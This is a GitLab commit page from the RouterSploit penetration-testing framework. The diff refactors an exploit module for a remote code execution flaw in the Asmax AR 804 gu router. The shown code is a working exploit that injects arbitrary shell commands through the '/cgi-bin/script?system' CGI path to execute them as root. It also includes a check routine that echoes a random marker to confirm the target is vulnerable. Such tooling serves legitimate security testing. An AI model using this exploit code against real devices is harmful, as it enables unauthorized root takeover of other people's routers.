Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
50ab6c9b
Commit
50ab6c9b
authored
Apr 20, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Replacing requests with http_request.
parent
c5636986
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
16 additions
and
19 deletions
+16
-19
ar_804_gu_rce.py
routersploit/modules/exploits/asmax/ar_804_gu_rce.py
+16
-19
No files found.
routersploit/modules/exploits/asmax/ar_804_gu_rce.py
View file @
50ab6c9b
import
requests
from
routersploit
import
(
exploits
,
print_success
,
print_status
,
print_error
,
sanitize_url
,
http_request
,
random_text
,
mute
,
)
...
...
@@ -22,11 +23,12 @@ class Exploit(exploits.Exploit):
],
'description'
:
'Module exploits Asmax AR 804 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges.'
,
'references'
:
[
'http://www.securitum.pl/dh/asmax-ar-804-gu-compromise'
'http://www.securitum.pl/dh/asmax-ar-804-gu-compromise'
,
'https://www.exploit-db.com/exploits/8846/'
,
],
'targets'
:
[
'Asmax AR 804 gu'
]
'Asmax AR 804 gu'
,
]
,
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
...
...
@@ -49,25 +51,20 @@ class Exploit(exploits.Exploit):
url
=
sanitize_url
(
"{}:{}/cgi-bin/script?system
%20
{}"
.
format
(
self
.
target
,
self
.
port
,
cmd
))
try
:
r
=
requests
.
get
(
url
)
except
requests
.
exceptions
.
MissingSchema
:
return
"Invalid URL format:
%
s"
%
url
except
requests
.
exceptions
.
ConnectionError
:
return
"Connection error:
%
s"
%
url
response
=
http_request
(
method
=
"GET"
,
url
=
url
,
verify
=
False
)
.
text
except
AttributeError
:
return
""
return
r
.
text
return
r
esponse
@mute
def
check
(
self
):
cmd
=
"id"
url
=
sanitize_url
(
"{}:{}/cgi-bin/script?system
%20
{}"
.
format
(
self
.
target
,
self
.
port
,
cmd
)
)
mark
=
random_text
(
32
)
cmd
=
"echo {}"
.
format
(
mark
)
try
:
r
=
requests
.
get
(
url
)
res
=
r
.
text
except
:
return
None
response
=
self
.
execute
(
cmd
)
if
"uid"
in
res
:
if
mark
in
response
:
return
True
return
False
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment